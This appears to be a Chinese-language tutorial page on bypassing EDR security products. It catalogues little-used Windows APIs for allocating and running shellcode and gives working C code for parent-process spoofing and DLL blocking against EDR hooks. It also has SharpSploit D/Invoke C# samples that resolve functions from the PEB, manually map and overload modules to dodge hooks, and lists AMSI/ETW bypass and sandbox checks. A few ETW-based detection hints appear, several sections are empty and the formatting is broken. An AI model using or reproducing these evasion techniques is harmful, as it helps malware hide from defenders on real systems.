Bypass EDR

  • 主要记载了常见的Bypass EDR的方法。

0x01 API函数总结

      敏感的API函数调用容易被EDR检测,如果使用不常使用的API函数可以减少被EDR产品检测的可能性。参考文章:https://github.com/ReversingID/Shellcode-Loader

  • allocation:

    • AllocADsMem

      1
      2
      LPVOID AllocADsMem (DWORD cb);
      BOOL FreeADsMem (LPVOID pMem);
    • CoTaskMemAlloc

      1
      2
      LPVOID CoTaskMemAlloc (SIZE_T cb);
      void CoTaskMemFree (LPVOID pv);
    • CreateFileMapping /MapViewOfFile / MapViewOfFileEx / MapViewOfFile2 / MapViewOfFile3

      1
      2
      3
      4
      5
      6
      7
      8
      HANDLE CreateFileMappingA (HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName);
      HANDLE CreateFileMappingW (HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCWSTR lpName);
      LPVOID MapViewOfFile (HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap);
      LPVOID MapViewOfFileEx (HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap, LPVOID lpBaseAddress);
      PVOID MapViewOfFile2 (HANDLE FileMappingHandle, HANDLE ProcessHandle, ULONG64 Offset, PVOID BaseAddress, SIZE_T ViewSize, ULONG AllocationType, ULONG PageProtection);
      PVOID MapViewOfFile3 (HANDLE FileMapping, HANDLE Process, PVOID BaseAddress, ULONG64 Offset, SIZE_T ViewSize, ULONG AllocationType, ULONG PageProtection, MEM_EXTENDED_PARAMETER ExtendedParameters, ULONG ParameterCount);
      PVOID MapViewOfFileNuma2 (HANDLE FileMappingHandle, HANDLE ProcessHandle, ULONG64 Offset, PVOID BaseAddress, SIZE_T ViewSize, ULONG AllocationType, ULONG PageProtection, ULONG PreferredNode);
      BOOL UnmapViewOfFile (LPCVOID lpBaseAddress);
    • GlobalAlloc_GHND

      1
      2
      3
      4
      HGLOBAL GlobalAlloc (UINT uFlags, SIZE_T dwBytes);
      LPVOID GlobalLock (HGLOBAL hMem);
      BOOL GlobalUnlock (HGLOBAL hMem);
      HGLOBAL GlobalFree (HGLOBAL hMem);
    • GlobalAlloc_GPTR

      1
      2
      HGLOBAL GlobalAlloc (UINT uFlags, SIZE_T dwBytes);
      HGLOBAL GlobalFree (HGLOBAL hMem);
    • HeapAlloc

      1
      2
      3
      4
      LPVOID HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
      HANDLE HeapCreate (DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);
      BOOL HeapFree (HANDLE hHeap, DWORD dwFlags, _Frees_ptr_opt_ LPVOID lpMem);
      BOOL HeapDestroy (HANDLE hHeap);
    • NtAllocateVirtualMemory

      1
      2
      3
      NTSTATUS NtAllocateVirtualMemory (HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect);
      NTSTATUS NtProtectVirtualMemory (HANDLE ProcessHandle, PVOID * BaseAddress, PULONG NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
      NTSTATUS NtFreeVirtualMemory (HANDLE ProcessHandle, PVOID * BaseAddress, PULONG RegionSize, ULONG FreeType);
    • NtCreateSection

      1
      2
      3
      4
      NTSTATUS NtCreateSection (PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG PageAttributess, ULONG SectionAttributes, HANDLE FileHandle);
      NTSTATUS NtMapViewOfSection (HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Protect);
      NTSTATUS NtUnmapViewOfSection (HANDLE ProcessHandle, PVOID BaseAddress);
      NTSTATUS NtClose (HANDLEObjectHandle);
    • NtCreateSectionEx

      1
      2
      3
      4
      NTSTATUS NtCreateSectionEx (PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle, PMEM_EXTENDED_PARAMETER ExtendedParameters, ULONG ExtendedParameterCount);
      NTSTATUS NtMapViewOfSectionEx (HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Protect);
      NTSTATUS NtUnmapViewOfSectionEx (HANDLE ProcessHandle, PVOID BaseAddress);
      NTSTATUS NtClose (HANDLEObjectHandle);
    • RtlAllocateHeap

      1
      2
      3
      4
      PVOID RtlAllocateHeap (PVOID HeapHandle, ULONG Flags, SIZE_T Size);
      PVOID RtlCreateHeap (ULONG Flags, PVOID HeapBase, SIZE_T ReserveSize, SIZE_T CommitSize, PVOID Lock, PRTL_HEAP_PARAMETERS Parameters);
      LOGICAL RtlFreeHeap (PVOID HeapHandle, ULONG Flags, PVOID BaseAddress);
      PVOID RtlDestroyHeap (PVOID HeapHandle);
    • VirtualAlloc

      1
      2
      3
      LPVOID VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
      BOOL VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
      BOOL VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
    • VirtualAlloc2

      1
      2
      3
      LPVOID VirtualAlloc2(HANDLE Process, PVOID BaseAddress, SIZE_T Size, ULONG AllocationType, ULONG PageProtection, MEM_EXTENDED_PARAMETER ExtendedParameters, ULONG ParameterCount);
      BOOL VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
      BOOL VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
    • VirtualAllocEx

      1
      2
      3
      LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
      BOOL VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
      BOOL VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
  • execution

    • callback

      • CallWindowProc

        1
        2
        LRESULT CallWindowProcA (WNDPROC lpPrevWndFunc, HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
        LRESULT CallWindowProcW (WNDPROC lpPrevWndFunc, HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
      • CopyFile2

        1
        HRESULT CopyFile2 (PCWSTR pwszExistingFileName, PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS pExtendedParameters);
      • eg….

    • event

      • CreateThreadpoolTimer

        1
        2
        3
        4
        PTP_TIMER CreateThreadpoolTimer(PTP_TIMER_CALLBACK pfnti, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);
        void SetThreadpoolTimer(PTP_TIMER pti, PFILETIME pftDueTime, DWORD msPeriod, DWORD msWindowLength);
        HANDLE CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
        DWORD WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
      • CreateTimerQueue

        1
        2
        3
        4
        HANDLE CreateTimerQueue ();
        BOOL CreateTimerQueueTimer(PHANDLE phNewTimer, HANDLE TimerQueue, WAITORTIMERCALLBACK Callback, PVOID Parameter, DWORD DueTime, DWORD Period, ULONG Flags);
        HANDLE CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
        DWORD WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
      • QueueUserAPC

        1
        2
        DWORD QueueUserAPC(PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData);
        NTSTATUS NtTestAlert();
    • exception

      • AddVectoredExceptionhandler

        1
        2
        3
        PVOID AddVectoredExceptionHandler (ULONG First, PVECTORED_EXCEPTION_HANDLER Handler);
        void RaiseException (DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments);
        ULONG RemoveVectoredExceptionHandler (PVOID Handle);
      • SetUnhandledExceptionFilter

        1
        SetUnhandledExceptionFilter
    • fiber(纤程)

      • CreateFiber

        1
        2
        LPVOID CreateFiber(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);
        LPVOID ConvertThreadToFiber(LPVOID lpParameter);
      • CreateFiberEx

        1
        2
        LPVOID CreateFiberEx (SIZE_T dwStackCommitSize, SIZE_T dwStackReserveSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);
        LPVOID ConvertThreadToFiber(LPVOID lpParameter);
      • FlsAlloc

        1
        2
        DWORD FlsAlloc (PFLS_CALLBACK_FUNCTION lpCallback);
        BOOL FlsSetValue (DWORD dwFlsIndex, PVOID lpFlsData);
    • invoke

    • thread

      • CreateThread
      • CreateThreadEx
      • NtCreateThread
      • CreateRemoteThread
      • EtwCreateEtwThread

        1
        2
        HANDLE EtwpCreateEtwThread (LPVOID routine, LPVOID param);
        DWORD WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
      • RtlCreateUserThread

      • SHCreateThread

        1
        BOOL SHCreateThread (LPTHREAD_START_ROUTINE pfnThreadProc, void * pData, SHCT_FLAGS flags, LPTHREAD_START_ROUTINE pfnCallback);
      • SHCreateThreadWithHandle

  • permission

    • NtProtectVirtualMemory

      1
      NTSTATUS NtProtectVirtualMemory (HANDLE ProcessHandle, PVOID * BaseAddress, PULONG NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
    • VirtualProtect

    • VirtualProtectEx
  • writing

    • compression / decompress
    • conversion(压缩)

      • RtlEthernetStringToAddress

        1
        2
        NTSTATUS RtlEthernetStringToAddressA (PCSTR S, PCSTR * Terminator, DL_EUI48 * Addr);
        NTSTATUS RtlEthernetStringToAddressW ( PCWSTR S, LPCWSTR * Terminator, DL_EUI48 * Addr);
      • RtlIpv4StringToAddress

        1
        2
        NTSTATUS RtlIpv4StringToAddressA (PCSTR S, BOOLEAN Strict, PCSTR * Terminator, in_addr * Addr);
        NTSTATUS RtlIpv4StringToAddressW ( PCWSTR S, BOOLEAN Strict, LPCWSTR * Terminator, in_addr * Addr);
      • RtlIpv4StringToAddressEx

        1
        2
        NTSTATUS RtlIpv4StringToAddressExA (PCSTR AddressString, BOOLEAN Strict, in_addr *Address, PUSHORT Port);
        NTSTATUS RtlIpv4StringToAddressExW (PCWSTR AddressString, BOOLEAN Strict, in_addr *Address, PUSHORT Port);
      • RtlIpv6StringToAddress

        1
        2
        NTSTATUS RtlIpv6StringToAddressA (PCSTR S, PCSTR * Terminator, in6_addr * Addr);
        NTSTATUS RtlIpv6StringToAddressW ( PCWSTR S, LPCWSTR * Terminator, in6_addr * Addr);
      • UuidFromString

        1
        2
        RPC_STATUS UuidFromStringA (RPC_CSTR StringUuid, UUID *Uuid);
        RPC_STATUS UuidFromStringW (RPC_WSTR StringUuid, UUID *Uuid);
    • copy

      • CopyMemory
      • CreatePipe/WriteFile/ReadFile
      • MoveMemory
      • NtWriteVirtualMemory
      • RtlMoveMemory
      • WriteProcessMemory
      • memcpy

0x02 加密算法

  • 对称加密算法

0x03 syscall技术以及运行时解析

0x04 VEH联合syscall打乱栈回溯

0x05 使用未被EDR产品检测的高级注入技术

0x06 PPID Spoofing(欺骗)

  • PPID Spoofing基于CreateProcess的lpStartupInfo参数可以被重新定义,lpStartupInfo参数指向_STARTUPINFOEXA,_STARTUPINFOEXA的lpAttributeList可以通过InitializeProcThreadAttributeList函数创建,并且通过UpdateProcThreadAttribute修改。

    1
    2
    3
    4
    typedef struct _STARTUPINFOEXA {
    STARTUPINFOA StartupInfo;
    LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
    } STARTUPINFOEXA, *LPSTARTUPINFOEXA;
  • UpdateProcThreadAttributelpValue设置为父进程句柄,即可实现PPID Spoofing欺骗

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    BOOL UpdateProcThreadAttribute(
    [in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
    [in] DWORD dwFlags,
    [in] DWORD_PTR Attribute,
    [in] PVOID lpValue,
    [in] SIZE_T cbSize,
    [out, optional] PVOID lpPreviousValue,
    [in, optional] PSIZE_T lpReturnSize
    );
    //
    int main() {
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));
    LPCWSTR parentProcess = L"OneDrive.exe";
    DWORD parentPID = getPPID(parentProcess);
    printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);
    HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, parentPID);
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    LPCWSTR spawnProcess = L"C:\\Windows\\System32\\notepad.exe";
    CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
    printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);
    return 0;
    }
  • 可以使用ETW进行检测,ETW数据中可以使用的数据主要有,如果EventHeader ProcessId和ParentProcessID相同,则没有进行欺骗,如果不同说明进行了欺骗

    • EventHeader ProcessId 产生事件的进程
    • ProcessID 创建的进程
    • ParentProcessID 父进程
  • mark
  • mark

  • detecting-parent-pid-spoofing

  • Parent Process ID (PPID) Spoofing

0x07 Dll Block

  • 旨在组织EDR将dll注入进程,以缓解进程被Hook
  • 1.为子进程实现Dll Block:和PPID欺骗一样,通过调用UpdateProcThreadAttribute将设置线程tributes,将Attribute设置为PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,并将value设置为PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON,值得注意的是这个方法只能为子进程设置BlockDlls,因为最终CreateProcessA创建子进程并设置线程属性。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    BOOL UpdateProcThreadAttribute(
    [in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
    [in] DWORD dwFlags,
    [in] DWORD_PTR Attribute,
    [in] PVOID lpValue,
    [in] SIZE_T cbSize,
    [out, optional] PVOID lpPreviousValue,
    [in, optional] PSIZE_T lpReturnSize
    );
    //example
    int main()
    {
    PROCESS_INFORMATION pi = {};
    STARTUPINFOEXA si = {};
    SIZE_T attributeSize = 0;
    //
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
    InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);
    //
    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
    si.lpAttributeList = attributes;
    //
    CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
    HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);
    //
    return 0;
    }
    ```
    * 2.为本进程设置BlockDll,通过`SetProcessMitigationPolicy`函数设置阻止策略,将策略设置为`ProcessSignaturePolicy`即可。

BOOL SetProcessMitigationPolicy(
[in] PROCESS_MITIGATION_POLICY MitigationPolicy,
[in] PVOID lpBuffer,
[in] SIZE_T dwLength
);
ROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy;
policy.MitigationOptIn = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &policy, sizeof(policy))

1
2
* 3.针对Blockdll的**检测**:通过`GetProcessMitigationPolicy`进行检测,将`PROCESS_MITIGATION_POLICY`设置为ProcessSignaturePolicy,读取value,如果是`ProcessSignaturePolicy`则说明是BlockDll。

BOOL GetProcessMitigationPolicy(
[in] HANDLE hProcess,
[in] PROCESS_MITIGATION_POLICY MitigationPolicy,
[out] PVOID lpBuffer,
[in] SIZE_T dwLength
);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
* 4.部分EDR存在微软的签名,此时会绕过BlockDll,通过引入ACG,ACG即漏洞利用保护参考,[开启ACG时](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getprocessmitigationpolicy),进程无法生成动态代码或修改现有的可执行代码。即Alloc内存会失败。
* 5.**检测**同BlockDll
* [Preventing 3rd Party DLLs from Injecting into your Malware](https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes)
* [http://hacky.ren/2022/05/29/绿盟科技-每周蓝军技术推送(2022.5.14-5.20)](http://hacky.ren/2022/05/29/绿盟科技-每周蓝军技术推送(2022.5.14-5.20))
* [检测BlockDll和ACG](https://tttang.com/archive/1618)
### 0x08 过静态检测
* 1.ShellCode加密/混淆
* 2.加壳(Pack)
* 3.多态变形
* 4.Shellcode存储在资源段
* 5.减少熵
### 0x09 过动态检测
* 1.Bypass AMSI
* 2.网络分段式执行
* 3.间接系统调用
* 4.延迟执行
* 5.Bypass ETW
* 6.D/Invoke
* 7.LOLBIN
* 8.检查沙箱/虚拟机
### 0x10 D/Invoke
* P/Invoke 即Platform Invoke,其允许.NET 应用程序访问非托管库(DLL) 中的数据和API,即通过使用P/Invoke,C#开发人员可以轻松调用标准 Windows API。由于.Net程序更加容易从内存中执行,由此不需要将文件落地即可实现更加高级的功能。
* P/Invoke缺点:
* 1.P/Invoke所需要Windows API函数都静态存放在.Net程序集的导入表中,可以被观察到,如果文件不落地可能影响不大。
* 2.P/Inovle执行的Windows API函数,如果EDR等安全软件提前Hook,则也有可能被检测。
* D/Invole:Dynic Invoke 即动态执行,允许程序手动加载Dll文件,手动获取Windows API地址,类似于LoadLibrary/GetProcAddress模式。
* 执行函数,以下代码演示了使用DInvoke库执行`NtCreateThread`API函数:
* 1.首先调用`GetLibraryAddress`获取NtCreateThread地址
* 2.调用`GetDelegateForFunctionPointer`获取委派
* 3.调用`NtCreateThreadEx`

//Get a pointer to the NtCreateThreadEx function.
IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@”ntdll.dll”, “NtCreateThreadEx”);
//
//Create an instance of a NtCreateThreadEx delegate from our function pointer.
DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));
//
//Invoke NtCreateThreadEx using the delegate
createThread(ref threadHandle,
Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
IntPtr.Zero,
process.Handle, baseAddr, IntPtr.Zero, suspended, 0, 0, 0, IntPtr.Zero);

1
2
3
4
5
6
7
8
9
10
11
* 加载模块
* 1.GetPebLdrModuleEntry:通过在 PEB 中搜索对它的引用来搜索当前加载模块的基地址
* 2.GetLibraryAddress:首先检查模块是否被加载,如果没有加载则会调用`LoadModuleFromDisk`加载,然后使用`GetExportAddress`查找模块中的函数,参数可以是函数名,函数序号,Hash
* 3.GetLoadedModuleAddress:加载模块基地址
* 4.LoadModuleFromDisk:使用LdrLoaddll加载一个dll,但是会产生一个模块加载事件,不建议使用
* 5.GetSyscallStub:映射新副本ntdll.dll并从新副本复制系统调用包装器的字节。这可用于直接执行系统调用
* 6.GetExportAddress:从模块在内存中的基地址开始,解析模块的PE头文件,定位到特定的函数。可以采用字符串、序号或哈希作为您希望调用的函数的标识符。
* 7.MapModuleToMemory:手动将模块映射到动态分配的内存中,正确对齐 PE 部分,更正内存权限,并修复导入地址表。可以采用字节数组或磁盘上文件的名称。
* 8.MapModuleToMemoryAddress:手动将内存中已有的模块(包含在字节数组中)映射到内存中的特定位置。
* 9.OverloadModule:使用模块重载将模块映射到由磁盘上的诱饵 DLL 支持的内存中。选择一个尚未加载、已签名且存在于%WINDIR%\System32. 在模块中执行代码的线程看起来像是在执行来自合法 DLL 的代码。可以采用字节数组或磁盘上文件的名称。

namespace SpTestcase
{
class Program
{
static void Main(string[] args)
{
// Details
String testDetail = @”

#=================>
# Hello there!
# I find things dynamically; base
# addresses and function pointers.
#=================>
";
Console.WriteLine(testDetail);

//
// Get NTDLL base from the PEB
Console.WriteLine(“[?] Resolve Ntdll base from the PEB..”);
IntPtr hNtdll = SharpSploit.Execution.DynamicInvoke.Generic.GetPebLdrModuleEntry(“ntdll.dll”);
Console.WriteLine(“[>] Ntdll base address : “ + string.Format(“{0:X}”, hNtdll.ToInt64()) + “\n”);
//
// Search function by name
Console.WriteLine(“[?] Specifying the name of a DLL (\”ntdll.dll\”), resolve a function by walking the export table in-memory..”);
Console.WriteLine(“[+] Search by name –> NtCommitComplete”);
IntPtr pNtCommitComplete = SharpSploit.Execution.DynamicInvoke.Generic.GetLibraryAddress(“ntdll.dll”, “NtCommitComplete”, true);
Console.WriteLine(“[>] pNtCommitComplete : “ + string.Format(“{0:X}”, pNtCommitComplete.ToInt64()) + “\n”);
//
Console.WriteLine(“[+] Search by ordinal –> 0x260 (NtSetSystemTime)”);
IntPtr pNtSetSystemTime = SharpSploit.Execution.DynamicInvoke.Generic.GetLibraryAddress(“ntdll.dll”, 0x260, true);
Console.WriteLine(“[>] pNtSetSystemTime : “ + string.Format(“{0:X}”, pNtSetSystemTime.ToInt64()) + “\n”);
//
Console.WriteLine(“[+] Search by keyed hash –> 138F2374EC295F225BD918F7D8058316 (RtlAdjustPrivilege)”);
Console.WriteLine(“[>] Hash : HMACMD5(Key).ComputeHash(FunctionName)”);
String fHash = SharpSploit.Execution.DynamicInvoke.Generic.GetAPIHash(“RtlAdjustPrivilege”, 0xaabb1122);
IntPtr pRtlAdjustPrivilege = SharpSploit.Execution.DynamicInvoke.Generic.GetLibraryAddress(“ntdll.dll”, fHash, 0xaabb1122);
Console.WriteLine(“[>] pRtlAdjustPrivilege : “ + string.Format(“{0:X}”, pRtlAdjustPrivilege.ToInt64()) + “\n”);
//
// Search for function from base address of DLL
Console.WriteLine(“[?] Specifying the base address of DLL in memory ({0:X}), resolve function by walking its export table…”, hNtdll.ToInt64());
Console.WriteLine(“[+] Search by name –> NtCommitComplete”);
IntPtr pNtCommitComplete2 = SharpSploit.Execution.DynamicInvoke.Generic.GetExportAddress(hNtdll, “NtCommitComplete”);
Console.WriteLine(“[>] pNtCommitComplete : “ + string.Format(“{0:X}”, pNtCommitComplete2.ToInt64()) + “\n”);
//
// Pause execution
Console.WriteLine(“[*] Pausing execution..”);
Console.ReadLine();
}
}
}

1
2
3
4
* 内存调用执行
* Bypass Hook
* 1.正常使用PInvoke

// Call OpenProcess using PInvoke
Console.WriteLine(“[?] Call OpenProcess via PInvoke …”);
hProc = OpenProcess(SharpSploit.Execution.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, id);
Console.WriteLine(“[>] Process handle : “ + string.Format(“{0:X}”, hProc.ToInt64()) + “\n”);
// Pause execution
Console.WriteLine(“[*] Pausing execution..”);
Console.ReadLine();

1
* 2.通过DInvoke(GetLibraryAddress方法)

// Call OpenProcess using GetLibraryAddress (underneath the hood)
Console.WriteLine(“[?] Call OpenProcess from the loaded module list using System.Diagnostics.Process.GetCurrentProcess().Modules …”);
hProc = SharpSploit.Execution.DynamicInvoke.Win32.OpenProcess(SharpSploit.Execution.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, id);
Console.WriteLine(“[>] Process handle : “ + string.Format(“{0:X}”, hProc.ToInt64()) + “\n”);
// Pause execution
Console.WriteLine(“[*] Pausing execution..”);
Console.ReadLine();

1
* 3.通过DInvoke(PEB获取基址)

// Search function by name from module in PEB
Console.WriteLine(“[?] Specifying the name of a DLL (\”kernel32.dll\”), search the PEB for the loaded module and resolve a function by walking the export table in-memory…”);
Console.WriteLine(“[+] Search by name –> OpenProcess”);
IntPtr pkernel32 = SharpSploit.Execution.DynamicInvoke.Generic.GetPebLdrModuleEntry(“kernel32.dll”);
IntPtr pOpenProcess = SharpSploit.Execution.DynamicInvoke.Generic.GetExportAddress(pkernel32, “OpenProcess”);
//Call OpenProcess
hProc = (IntPtr)SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke(pOpenProcess, typeof(SharpSploit.Execution.DynamicInvoke.Win32.Delegates.OpenProcess), ref paramaters);
Console.WriteLine(“[>] Process Handle : “ + string.Format(“{0:X}”, hProc.ToInt64()) + “\n”);

1
* 4.映射Kernel32.dll

// Manually map kernel32.dll
// Search function by name from module in PEB
Console.WriteLine(“[?] Manually map a fresh copy of a DLL (\”kernel32.dll\”), and resolve a function by walking the export table in-memory…”);
Console.WriteLine(“[+] Search by name –> OpenProcess”);
SharpSploit.Execution.PE.PE_MANUAL_MAP moduleDetails = SharpSploit.Execution.ManualMap.Map.MapModuleToMemory(“C:\Windows\System32\kernel32.dll”);
Console.WriteLine(“[>] Module Base : “ + string.Format(“{0:X}”, moduleDetails.ModuleBase.ToInt64()) + “\n”);
//Call OpenProcess
hProc = (IntPtr)SharpSploit.Execution.DynamicInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, “OpenProcess”, typeof(SharpSploit.Execution.DynamicInvoke.Win32.Delegates.OpenProcess), paramaters);
Console.WriteLine(“[>] Process Handle : “ + string.Format(“{0:X}”, hProc.ToInt64()) + “\n”);

1
* 5.覆写Kernel32

// Map kernel32.dll using Module Overloading
// Search function by name from module in PEB
Console.WriteLine(“[?] Use Module Overloading to map a fresh copy of a DLL (\”kernel32.dll\”) into memory backed by another file on disk. Resolve a function by walking the export table in-memory…”);
Console.WriteLine(“[+] Search by name –> OpenProcess”);
moduleDetails = SharpSploit.Execution.ManualMap.Overload.OverloadModule(“C:\Windows\System32\kernel32.dll”);
Console.WriteLine(“[>] Module Base : “ + string.Format(“{0:X}”, moduleDetails.ModuleBase.ToInt64()) + “\n”);
//Call OpenProcess
hProc = (IntPtr)SharpSploit.Execution.DynamicInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, “OpenProcess”, typeof(SharpSploit.Execution.DynamicInvoke.Win32.Delegates.OpenProcess), paramaters);
Console.WriteLine(“[>] Process Handle : “ + string.Format(“{0:X}”, hProc.ToInt64()) + “\n”);
```

0x10 LOLBin